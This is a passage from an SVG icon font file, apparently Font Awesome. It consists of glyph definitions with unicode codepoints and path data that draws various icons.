q0 -53 41 -77v-3q-113 -37 -113 -139q0 -45 20 -78.5t54 -51t72 -25.5t81 -8q224 0 224 188q0 67 -48 99t-126 46q-27 5 -51.5 20.5t-24.5 39.5q0 44 49 52q77 15 122 70t45 134q0 24 -10 52q37 9 49 13zM771 350h137q-2 27 -2 82v387q0 46 2 69h-137q3 -23 3 -71v-392
q0 -50 -3 -75zM1280 366v121q-30 -21 -68 -21q-53 0 -53 82v225h52q9 0 26.5 -1t26.5 -1v117h-105q0 82 3 102h-140q4 -24 4 -55v-47h-60v-117q36 3 37 3q3 0 11 -0.5t12 -0.5v-2h-2v-217q0 -37 2.5 -64t11.5 -56.5t24.5 -48.5t43.5 -31t66 -12q64 0 108 24zM924 1072
q0 36 -24 63.5t-60 27.5t-60.5 -27t-24.5 -64q0 -36 25 -62.5t60 -26.5t59.5 27t24.5 62zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_438" unicode="&#xf1d3;" horiz-adv-x="1792" 
d="M595 22q0 100 -165 100q-158 0 -158 -104q0 -101 172 -101q151 0 151 105zM536 777q0 61 -30 102t-89 41q-124 0 -124 -145q0 -135 124 -135q119 0 119 137zM805 1101v-202q-36 -12 -79 -22q16 -43 16 -84q0 -127 -73 -216.5t-197 -112.5q-40 -8 -59.5 -27t-19.5 -58
q0 -31 22.5 -51.5t58 -32t78.5 -22t86 -25.5t78.5 -37.5t58 -64t22.5 -98.5q0 -304 -363 -304q-69 0 -130 12.5t-116 41t-87.5 82t-32.5 127.5q0 165 182 225v4q-67 41 -67 126q0 109 63 137v4q-72 24 -119.5 108.5t-47.5 165.5q0 139 95 231.5t235 92.5q96 0 178 -47
q98 0 218 47zM1123 220h-222q4 45 4 134v609q0 94 -4 128h222q-4 -33 -4 -124v-613q0 -89 4 -134zM1724 442v-196q-71 -39 -174 -39q-62 0 -107 20t-70 50t-39.5 78t-18.5 92t-4 103v351h2v4q-7 0 -19 1t-18 1q-21 0 -59 -6v190h96v76q0 54 -6 89h227q-6 -41 -6 -165h171
v-190q-15 0 -43.5 2t-42.5 2h-85v-365q0 -131 87 -131q61 0 109 33zM1148 1389q0 -58 -39 -101.5t-96 -43.5q-58 0 -98 43.5t-40 101.5q0 59 39.5 103t98.5 44q58 0 96.5 -44.5t38.5 -102.5z" />
    <glyph glyph-name="_439" unicode="&#xf1d4;" 
d="M809 532l266 499h-112l-157 -312q-24 -48 -44 -92l-42 92l-155 312h-120l263 -493v-324h101v318zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="uniF1D5" unicode="&#xf1d5;" horiz-adv-x="1280" 
d="M842 964q0 -80 -57 -136.5t-136 -56.5q-60 0 -111 35q-62 -67 -115 -146q-247 -371 -202 -859q1 -22 -12.5 -38.5t-34.5 -18.5h-5q-20 0 -35 13.5t-17 33.5q-14 126 -3.5 247.5t29.5 217t54 186t69 155.5t74 125q61 90 132 165q-16 35 -16 77q0 80 56.5 136.5t136.5 56.5
t136.5 -56.5t56.5 -136.5zM1223 953q0 -158 -78 -292t-212.5 -212t-292.5 -78q-64 0 -131 14q-21 5 -32.5 23.5t-6.5 39.5q5 20 23 31.5t39 7.5q51 -13 108 -13q97 0 186 38t153 102t102 153t38 186t-38 186t-102 153t-153 102t-186 38t-186 -38t-153 -102t-102 -153
t-38 -186q0 -114 52 -218q10 -20 3.5 -40t-25.5 -30t-39.5 -3t-30.5 26q-64 123 -64 265q0 119 46.5 227t124.5 186t186 124t226 46q158 0 292.5 -78t212.5 -212.5t78 -292.5z" />
    <glyph glyph-name="uniF1D6" unicode="&#xf1d6;" horiz-adv-x="1792" 
d="M270 730q-8 19 -8 52q0 20 11 49t24 45q-1 22 7.5 53t22.5 43q0 139 92.5 288.5t217.5 209.5q139 66 324 66q133 0 266 -55q49 -21 90 -48t71 -56t55 -68t42 -74t32.5 -84.5t25.5 -89.5t22 -98l1 -5q55 -83 55 -150q0 -14 -9 -40t-9 -38q0 -1 1.5 -3.5t3.5 -5t2 -3.5
q77 -114 120.5 -214.5t43.5 -208.5q0 -43 -19.5 -100t-55.5 -57q-9 0 -19.5 7.5t-19 17.5t-19 26t-16 26.5t-13.5 26t-9 17.5q-1 1 -3 1l-5 -4q-59 -154 -132 -223q20 -20 61.5 -38.5t69 -41.5t35.5 -65q-2 -4 -4 -16t-7 -18q-64 -97 -302 -97q-53 0 -110.5 9t-98 20
t-104.5 30q-15 5 -23 7q-14 4 -46 4.5t-40 1.5q-41 -45 -127.5 -65t-168.5 -20q-35 0 -69 1.5t-93 9t-101 20.5t-74.5 40t-32.5 64q0 40 10 59.5t41 48.5q11 2 40.5 13t49.5 12q4 0 14 2q2 2 2 4l-2 3q-48 11 -108 105.5t-73 156.5l-5 3q-4 0 -12 -20q-18 -41 -54.5 -74.5
t-77.5 -37.5h-1q-4 0 -6 4.5t-5 5.5q-23 54 -23 100q0 275 252 466z" />
    <glyph glyph-name="uniF1D7" unicode="&#xf1d7;" horiz-adv-x="2048" 
d="M580 1075q0 41 -25 66t-66 25q-43 0 -76 -25.5t-33 -65.5q0 -39 33 -64.5t76 -25.5q41 0 66 24.5t25 65.5zM1323 568q0 28 -25.5 50t-65.5 22q-27 0 -49.5 -22.5t-22.5 -49.5q0 -28 22.5 -50.5t49.5 -22.5q40 0 65.5 22t25.5 51zM1087 1075q0 41 -24.5 66t-65.5 25
q-43 0 -76 -25.5t-33 -65.5q0 -39 33 -64.5t76 -25.5q41 0 65.5 24.5t24.5 65.5zM1722 568q0 28 -26 50t-65 22q-27 0 -49.5 -22.5t-22.5 -49.5q0 -28 22.5 -50.5t49.5 -22.5q39 0 65 22t26 51zM1456 965q-31 4 -70 4q-169 0 -311 -77t-223.5 -208.5t-81.5 -287.5
q0 -78 23 -152q-35 -3 -68 -3q-26 0 -50 1.5t-55 6.5t-44.5 7t-54.5 10.5t-50 10.5l-253 -127l72 218q-290 203 -290 490q0 169 97.5 311t264 223.5t363.5 81.5q176 0 332.5 -66t262 -182.5t136.5 -260.5zM2048 404q0 -117 -68.5 -223.5t-185.5 -193.5l55 -181l-199 109
q-150 -37 -218 -37q-169 0 -311 70.5t-223.5 191.5t-81.5 264t81.5 264t223.5 191.5t311 70.5q161 0 303 -70.5t227.5 -192t85.5 -263.5z" />
    <glyph glyph-name="_443" unicode="&#xf1d8;" horiz-adv-x="1792" 
d="M1764 1525q33 -24 27 -64l-256 -1536q-5 -29 -32 -45q-14 -8 -31 -8q-11 0 -24 5l-453 185l-242 -295q-18 -23 -49 -23q-13 0 -22 4q-19 7 -30.5 23.5t-11.5 36.5v349l864 1059l-1069 -925l-395 162q-37 14 -40 55q-2 40 32 59l1664 960q15 9 32 9q20 0 36 -11z" />
    <glyph glyph-name="_444" unicode="&#xf1d9;" horiz-adv-x="1792" 
d="M1764 1525q33 -24 27 -64l-256 -1536q-5 -29 -32 -45q-14 -8 -31 -8q-11 0 -24 5l-527 215l-298 -327q-18 -21 -47 -21q-14 0 -23 4q-19 7 -30 23.5t-11 36.5v452l-472 193q-37 14 -40 55q-3 39 32 59l1664 960q35 21 68 -2zM1422 26l221 1323l-1434 -827l336 -137
l863 639l-478 -797z" />
    <glyph glyph-name="_445" unicode="&#xf1da;" 
d="M1536 640q0 -156 -61 -298t-164 -245t-245 -164t-298 -61q-172 0 -327 72.5t-264 204.5q-7 10 -6.5 22.5t8.5 20.5l137 138q10 9 25 9q16 -2 23 -12q73 -95 179 -147t225 -52q104 0 198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5t-40.5 198.5t-109.5 163.5
t-163.5 109.5t-198.5 40.5q-98 0 -188 -35.5t-160 -101.5l137 -138q31 -30 14 -69q-17 -40 -59 -40h-448q-26 0 -45 19t-19 45v448q0 42 40 59q39 17 69 -14l130 -129q107 101 244.5 156.5t284.5 55.5q156 0 298 -61t245 -164t164 -245t61 -298zM896 928v-448q0 -14 -9 -23
t-23 -9h-320q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v352q0 14 9 23t23 9h64q14 0 23 -9t9 -23z" />
    <glyph glyph-name="_446" unicode="&#xf1db;" 
d="M768 1280q-130 0 -248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5t-51 248.5t-136.5 204t-204 136.5t-248.5 51zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103
t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_447" unicode="&#xf1dc;" horiz-adv-x="1792" 
d="M1682 -128q-44 0 -132.5 3.5t-133.5 3.5q-44 0 -132 -3.5t-132 -3.5q-24 0 -37 20.5t-13 45.5q0 31 17 46t39 17t51 7t45 15q33 21 33 140l-1 391q0 21 -1 31q-13 4 -50 4h-675q-38 0 -51 -4q-1 -10 -1 -31l-1 -371q0 -142 37 -164q16 -10 48 -13t57 -3.5t45 -15
t20 -45.5q0 -26 -12.5 -48t-36.5 -22q-47 0 -139.5 3.5t-138.5 3.5q-43 0 -128 -3.5t-127 -3.5q-23 0 -35.5 21t-12.5 45q0 30 15.5 45t36 17.5t47.5 7.5t42 15q33 23 33 143l-1 57v813q0 3 0.5 26t0 36.5t-1.5 38.5t-3.5 42t-6.5 36.5t-11 31.5t-16 18q-15 10 -45 12t-53 2
t-41 14t-18 45q0 26 12 48t36 22q46 0 138.5 -3.5t138.5 -3.5q42 0 126.5 3.5t126.5 3.5q25 0 37.5 -22t12.5 -48q0 -30 -17 -43.5t-38.5 -14.5t-49.5 -4t-43 -13q-35 -21 -35 -160l1 -320q0 -21 1 -32q13 -3 39 -3h699q25 0 38 3q1 11 1 32l1 320q0 139 -35 160
q-18 11 -58.5 12.5t-66 13t-25.5 49.5q0 26 12.5 48t37.5 22q44 0 132 -3.5t132 -3.5q43 0 129 3.5t129 3.5q25 0 37.5 -22t12.5 -48q0 -30 -17.5 -44t-40 -14.5t-51.5 -3t-44 -12.5q-35 -23 -35 -161l1 -943q0 -119 34 -140q16 -10 46 -13.5t53.5 -4.5t41.5 -15.5t18 -44.5
q0 -26 -12 -48t-36 -22z" />
    <glyph glyph-name="_448" unicode="&#xf1dd;" horiz-adv-x="1280" 
d="M1278 1347v-73q0 -29 -18.5 -61t-42.5 -32q-50 0 -54 -1q-26 -6 -32 -31q-3 -11 -3 -64v-1152q0 -25 -18 -43t-43 -18h-108q-25 0 -43 18t-18 43v1218h-143v-1218q0 -25 -17.5 -43t-43.5 -18h-108q-26 0 -43.5 18t-17.5 43v496q-147 12 -245 59q-126 58 -192 179
q-64 117 -64 259q0 166 88 286q88 118 209 159q111 37 417 37h479q25 0 43 -18t18 -43z" />
    <glyph glyph-name="_449" unicode="&#xf1de;" 
d="M352 128v-128h-352v128h352zM704 256q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h256zM864 640v-128h-864v128h864zM224 1152v-128h-224v128h224zM1536 128v-128h-736v128h736zM576 1280q26 0 45 -19t19 -45v-256
q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h256zM1216 768q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h256zM1536 640v-128h-224v128h224zM1536 1152v-128h-864v128h864z" />
    <glyph glyph-name="uniF1E0" unicode="&#xf1e0;" 
d="M1216 512q133 0 226.5 -93.5t93.5 -226.5t-93.5 -226.5t-226.5 -93.5t-226.5 93.5t-93.5 226.5q0 12 2 34l-360 180q-92 -86 -218 -86q-133 0 -226.5 93.5t-93.5 226.5t93.5 226.5t226.5 93.5q126 0 218 -86l360 180q-2 22 -2 34q0 133 93.5 226.5t226.5 93.5
t226.5 -93.5t93.5 -226.5t-93.5 -226.5t-226.5 -93.5q-126 0 -218 86l-360 -180q2 -22 2 -34t-2 -34l360 -180q92 86 218 86z" />
    <glyph glyph-name="_451" unicode="&#xf1e1;" 
d="M1280 341q0 88 -62.5 151t-150.5 63q-84 0 -145 -58l-241 120q2 16 2 23t-2 23l241 120q61 -58 145 -58q88 0 150.5 63t62.5 151t-62.5 150.5t-150.5 62.5t-151 -62.5t-63 -150.5q0 -7 2 -23l-241 -120q-62 57 -145 57q-88 0 -150.5 -62.5t-62.5 -150.5t62.5 -150.5
t150.5 -62.5q83 0 145 57l241 -120q-2 -16 -2 -23q0 -88 63 -150.5t151 -62.5t150.5 62.5t62.5 150.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_452" unicode="&#xf1e2;" horiz-adv-x="1792" 
d="M571 947q-10 25 -34 35t-49 0q-108 -44 -191 -127t-127 -191q-10 -25 0 -49t35 -34q13 -5 24 -5q42 0 60 40q34 84 98.5 148.5t148.5 98.5q25 11 35 35t0 49zM1513 1303l46 -46l-244 -243l68 -68q19 -19 19 -45.5t-19 -45.5l-64 -64q89 -161 89 -343q0 -143 -55.5 -273.5
t-150 -225t-225 -150t-273.5 -55.5t-273.5 55.5t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5q182 0 343 -89l64 64q19 19 45.5 19t45.5 -19l68 -68zM1521 1359q-10 -10 -22 -10q-13 0 -23 10l-91 90q-9 10 -9 23t9 23q10 9 23 9t23 -9l90 -91
q10 -9 10 -22.5t-10 -22.5zM1751 1129q-11 -9 -23 -9t-23 9l-90 91q-10 9 -10 22.5t10 22.5q9 10 22.5 10t22.5 -10l91 -90q9 -10 9 -23t-9 -23zM1792 1312q0 -14 -9 -23t-23 -9h-96q-14 0 -23 9t-9 23t9 23t23 9h96q14 0 23 -9t9 -23zM1600 1504v-96q0 -14 -9 -23t-23 -9
t-23 9t-9 23v96q0 14 9 23t23 9t23 -9t9 -23zM1751 1449l-91 -90q-10 -10 -22 -10q-13 0 -23 10q-10 9 -10 22.5t10 22.5l90 91q10 9 23 9t23 -9q9 -10 9 -23t-9 -23z" />
    <glyph glyph-name="_453" unicode="&#xf1e3;" horiz-adv-x="1792" 
d="M609 720l287 208l287 -208l-109 -336h-355zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM1515 186q149 203 149 454v3l-102 -89l-240 224l63 323
l134 -12q-150 206 -389 282l53 -124l-287 -159l-287 159l53 124q-239 -76 -389 -282l135 12l62 -323l-240 -224l-102 89v-3q0 -251 149 -454l30 132l326 -40l139 -298l-116 -69q117 -39 240 -39t240 39l-116 69l139 298l326 40z" />
    <glyph glyph-name="_454" unicode="&#xf1e4;" horiz-adv-x="1792" 
d="M448 224v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM256 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM832 224v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23
v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM640 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM66 768q-28 0 -47 19t-19 46v129h514v-129q0 -27 -19 -46t-46 -19h-383zM1216 224v-192q0 -14 -9 -23t-23 -9h-192
q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1024 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1600 224v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23
zM1408 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 1016v-13h-514v10q0 104 -382 102q-382 -1 -382 -102v-10h-514v13q0 17 8.5 43t34 64t65.5 75.5t110.5 76t160 67.5t224 47.5t293.5 18.5t293 -18.5t224 -47.5
t160.5 -67.5t110.5 -76t65.5 -75.5t34 -64t8.5 -43zM1792 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 962v-129q0 -27 -19 -46t-46 -19h-384q-27 0 -46 19t-19 46v129h514z" />
    <glyph glyph-name="_455" unicode="&#xf1e5;" horiz-adv-x="1792" 
d="M704 1216v-768q0 -26 -19 -45t-45 -19v-576q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v512l249 873q7 23 31 23h424zM1024 1216v-704h-256v704h256zM1792 320v-512q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v576q-26 0 -45 19t-19 45v768h424q24 0 31 -23z
M736 1504v-224h-352v224q0 14 9 23t23 9h288q14 0 23 -9t9 -23zM1408 1504v-224h-352v224q0 14 9 23t23 9h288q14 0 23 -9t9 -23z" />
    <glyph glyph-name="_456" unicode="&#xf1e6;" horiz-adv-x="1792" 
d="M1755 1083q37 -38 37 -90.5t-37 -90.5l-401 -400l150 -150l-160 -160q-163 -163 -389.5 -186.5t-411.5 100.5l-362 -362h-181v181l362 362q-124 185 -100.5 411.5t186.5 389.5l160 160l150 -150l400 401q38 37 91 37t90 -37t37 -90.5t-37 -90.5l-400 -401l234 -234
l401 400q38 37 91 37t90 -37z" />
    <glyph glyph-name="_457" unicode="&#xf1e7;" horiz-adv-x="1792" 
d="M873 796q0 -83 -63.5 -142.5t-152.5 -59.5t-152.5 59.5t-63.5 142.5q0 84 63.5 143t152.5 59t152.5 -59t63.5 -143zM1375 796q0 -83 -63 -142.5t-153 -59.5q-89 0 -152.5 59.5t-63.5 142.5q0 84 63.5 143t152.5 59q90 0 153 -59t63 -143zM1600 616v667q0 87 -32 123.5
t-111 36.5h-1112q-83 0 -112.5 -34t-29.5 -126v-673q43 -23 88.5 -40t81 -28t81 -18.5t71 -11t70 -4t58.5 -0.5t56.5 2t44.5 2q68 1 95 -27q6 -6 10 -9q26 -25 61 -51q7 91 118 87q5 0 36.5 -1.5t43 -2t45.5 -1t53 1t54.5 4.5t61 8.5t62 13.5t67 19.5t67.5 27t72 34.5z
M1763 621q-121 -149 -372 -252q84 -285 -23 -465q-66 -113 -183 -148q-104 -32 -182 15q-86 51 -82 164l-1 326v1q-8 2 -24.5 6t-23.5 5l-1 -338q4 -114 -83 -164q-79 -47 -183 -15q-117 36 -182 150q-105 180 -22 463q-251 103 -372 252q-25 37 -4 63t60 -1q4 -2 11.5 -7
t10.5 -8v694q0 72 47 123t114 51h1257q67 0 114 -51t47 -123v-694l21 15q39 27 60 1t-4 -63z" />
    <glyph glyph-name="_458" unicode="&#xf1e8;" horiz-adv-x="1792" 
d="M896 1102v-434h-145v434h145zM1294 1102v-434h-145v434h145zM1294 342l253 254v795h-1194v-1049h326v-217l217 217h398zM1692 1536v-1013l-434 -434h-326l-217 -217h-217v217h-398v1158l109 289h1483z" />
    <glyph glyph-name="_459" unicode="&#xf1e9;" 
d="M773 217v-127q-1 -292 -6 -305q-12 -32 -51 -40q-54 -9 -181.5 38t-162.5 89q-13 15 -17 36q-1 12 4 26q4 10 34 47t181 216q1 0 60 70q15 19 39.5 24.5t49.5 -3.5q24 -10 37.5 -29t12.5 -42zM624 468q-3 -55 -52 -70l-120 -39q-275 -88 -292 -88q-35 2 -54 36
q-12 25 -17 75q-8 76 1 166.5t30 124.5t56 32q13 0 202 -77q71 -29 115 -47l84 -34q23 -9 35.5 -30.5t11.5 -48.5zM1450 171q-7 -54 -91.5 -161t-135.5 -127q-37 -14 -63 7q-14 10 -184 287l-47 77q-14 21 -11.5 46t19.5 46q35 43 83 26q1 -1 119 -40q203 -66 242 -79.5
t47 -20.5q28 -22 22 -61zM778 803q5 -102 -54 -122q-58 -17 -114 71l-378 598q-8 35 19 62q41 43 207.5 89.5t224.5 31.5q40 -10 49 -45q3 -18 22 -305.5t24 -379.5zM1440 695q3 -39 -26 -59q-15 -10 -329 -86q-67 -15 -91 -23l1 2q-23 -6 -46 4t-37 32q-30 47 0 87
q1 1 75 102q125 171 150 204t34 39q28 19 65 2q48 -23 123 -133.5t81 -167.5v-3z" />
    <glyph glyph-name="_460" unicode="&#xf1ea;" horiz-adv-x="2048" 
d="M1024 1024h-384v-384h384v384zM1152 384v-128h-640v128h640zM1152 1152v-640h-640v640h640zM1792 384v-128h-512v128h512zM1792 640v-128h-512v128h512zM1792 896v-128h-512v128h512zM1792 1152v-128h-512v128h512zM256 192v960h-128v-960q0 -26 19 -45t45 -19t45 19
t19 45zM1920 192v1088h-1536v-1088q0 -33 -11 -64h1483q26 0 45 19t19 45zM2048 1408v-1216q0 -80 -56 -136t-136 -56h-1664q-80 0 -136 56t-56 136v1088h256v128h1792z" />
    <glyph glyph-name="_461" unicode="&#xf1eb;" horiz-adv-x="2048" 
d="M1024 13q-20 0 -93 73.5t-73 93.5q0 32 62.5 54t103.5 22t103.5 -22t62.5 -54q0 -20 -73 -93.5t-93 -73.5zM1294 284q-2 0 -40 25t-101.5 50t-128.5 25t-128.5 -25t-101 -50t-40.5 -25q-18 0 -93.5 75t-75.5 93q0 13 10 23q78 77 196 121t233 44t233 -44t196 -121
q10 -10 10 -23q0 -18 -75.5 -93t-93.5 -75zM1567 556q-11 0 -23 8q-136 105 -252 154.5t-268 49.5q-85 0 -170.5 -22t-149 -53t-113.5 -62t-79 -53t-31 -22q-17 0 -92 75t-75 93q0 12 10 22q132 132 320 205t380 73t380 -73t320 -205q10 -10 10 -22q0 -18 -75 -93t-92 -75z
M1838 827q-11 0 -22 9q-179 157 -371.5 236.5t-420.5 79.5t-420.5 -79.5t-371.5 -236.5q-11 -9 -22 -9q-17 0 -92.5 75t-75.5 93q0 13 10 23q187 186 445 288t527 102t527 -102t445 -288q10 -10 10 -23q0 -18 -75.5 -93t-92.5 -75z" />
    <glyph glyph-name="_462" unicode="&#xf1ec;" horiz-adv-x="1792" 
d="M384 0q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM768 0q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM384 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5
t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1152 0q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM768 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5
t37.5 90.5zM384 768q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1152 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM768 768q0 53 -37.5 90.5t-90.5 37.5
t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1536 0v384q0 52 -38 90t-90 38t-90 -38t-38 -90v-384q0 -52 38 -90t90 -38t90 38t38 90zM1152 768q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5z
M1536 1088v256q0 26 -19 45t-45 19h-1280q-26 0 -45 -19t-19 -45v-256q0 -26 19 -45t45 -19h1280q26 0 45 19t19 45zM1536 768q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1664 1408v-1536q0 -52 -38 -90t-90 -38
h-1408q-52 0 -90 38t-38 90v1536q0 52 38 90t90 38h1408q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_463" unicode="&#xf1ed;" 
d="M1519 890q18 -84 -4 -204q-87 -444 -565 -444h-44q-25 0 -44 -16.5t-24 -42.5l-4 -19l-55 -346l-2 -15q-5 -26 -24.5 -42.5t-44.5 -16.5h-251q-21 0 -33 15t-9 36q9 56 26.5 168t26.5 168t27 167.5t27 167.5q5 37 43 37h131q133 -2 236 21q175 39 287 144q102 95 155 246
q24 70 35 133q1 6 2.5 7.5t3.5 1t6 -3.5q79 -59 98 -162zM1347 1172q0 -107 -46 -236q-80 -233 -302 -315q-113 -40 -252 -42q0 -1 -90 -1l-90 1q-100 0 -118 -96q-2 -8 -85 -530q-1 -10 -12 -10h-295q-22 0 -36.5 16.5t-11.5 38.5l232 1471q5 29 27.5 48t51.5 19h598
q34 0 97.5 -13t111.5 -32q107 -41 163.5 -123t56.5 -196z" />
    <glyph glyph-name="_464" unicode="&#xf1ee;" horiz-adv-x="1792" 
d="M441 864q33 0 52 -26q266 -364 362 -774h-446q-127 441 -367 749q-12 16 -3 33.5t29 17.5h373zM1000 507q-49 -199 -125 -393q-79 310 -256 594q40 221 44 449q211 -340 337 -650zM1099 1216q235 -324 384.5 -698.5t184.5 -773.5h-451q-41 665 -553 1472h435zM1792 640
q0 -424 -101 -812q-67 560 -359 1083q-25 301 -106 584q-4 16 5.5 28.5t25.5 12.5h359q21 0 38.5 -13t22.5 -33q115 -409 115 -850z" />
    <glyph glyph-name="uniF1F0" unicode="&#xf1f0;" horiz-adv-x="2304" 
d="M1975 546h-138q14 37 66 179l3 9q4 10 10 26t9 26l12 -55zM531 611l-58 295q-11 54 -75 54h-268l-2 -13q311 -79 403 -336zM710 960l-162 -438l-17 89q-26 70 -85 129.5t-131 88.5l135 -510h175l261 641h-176zM849 318h166l104 642h-166zM1617 944q-69 27 -149 27
q-123 0 -201 -59t-79 -153q-1 -102 145 -174q48 -23 67 -41t19 -39q0 -30 -30 -46t-69 -16q-86 0 -156 33l-22 11l-23 -144q74 -34 185 -34q130 -1 208.5 59t80.5 160q0 106 -140 174q-49 25 -71 42t-22 38q0 22 24.5 38.5t70.5 16.5q70 1 124 -24l15 -8zM2042 960h-128
q-65 0 -87 -54l-246 -588h174l35 96h212q5 -22 20 -96h154zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_466" unicode="&#xf1f1;" horiz-adv-x="2304" 
d="M1119 1195q-128 85 -281 85q-103 0 -197.5 -40.5t-162.5 -108.5t-108.5 -162t-40.5 -197q0 -104 40.5 -198t108.5 -162t162 -108.5t198 -40.5q153 0 281 85q-131 107 -178 265.5t0.5 316.5t177.5 265zM1152 1171q-126 -99 -172 -249.5t-0.5 -300.5t172.5 -249
q127 99 172.5 249t-0.5 300.5t-172 249.5zM1185 1195q130 -107 177.5 -265.5t0.5 -317t-178 -264.5q128 -85 281 -85q104 0 198 40.5t162 108.5t108.5 162t40.5 198q0 103 -40.5 197t-108.5 162t-162.5 108.5t-197.5 40.5q-153 0 -281 -85zM1926 473h7v3h-17v-3h7v-17h3v17z
M1955 456h4v20h-5l-6 -13l-6 13h-5v-20h3v15l6 -13h4l5 13v-15zM1947 16v-2h-2h-3v3h3h2v-1zM1947 7h3l-4 5h2l1 1q1 1 1 3t-1 3l-1 1h-3h-6v-13h3v5h1zM685 75q0 19 11 31t30 12q18 0 29 -12.5t11 -30.5q0 -19 -11 -31t-29 -12q-19 0 -30 12t-11 31zM1158 119q30 0 35 -32
h-70q5 32 35 32zM1514 75q0 19 11 31t29 12t29.5 -12.5t11.5 -30.5q0 -19 -11 -31t-30 -12q-18 0 -29 12t-11 31zM1786 75q0 18 11.5 30.5t29.5 12.5t29.5 -12.5t11.5 -30.5q0 -19 -11.5 -31t-29.5 -12t-29.5 12.5t-11.5 30.5zM1944 3q-2 0 -4 1q-1 0 -3 2t-2 3q-1 2 -1 4
q0 3 1 4q0 2 2 4l1 1q2 0 2 1q2 1 4 1q3 0 4 -1l4 -2l2 -4v-1q1 -2 1 -3l-1 -1v-3t-1 -1l-1 -2q-2 -2 -4 -2q-1 -1 -4 -1zM599 7h30v85q0 24 -14.5 38.5t-39.5 15.5q-32 0 -47 -24q-14 24 -45 24q-24 0 -39 -20v16h-30v-135h30v75q0 36 33 36q30 0 30 -36v-75h29v75
q0 36 33 36q30 0 30 -36v-75zM765 7h29v68v67h-29v-16q-17 20 -43 20q-29 0 -48 -20t-19 -51t19 -51t48 -20q28 0 43 20v-17zM943 48q0 34 -47 40l-14 2q-23 4 -23 14q0 15 25 15q23 0 43 -11l12 24q-22 14 -55 14q-26 0 -41 -12t-15 -32q0 -33 47 -39l13 -2q24 -4 24 -14
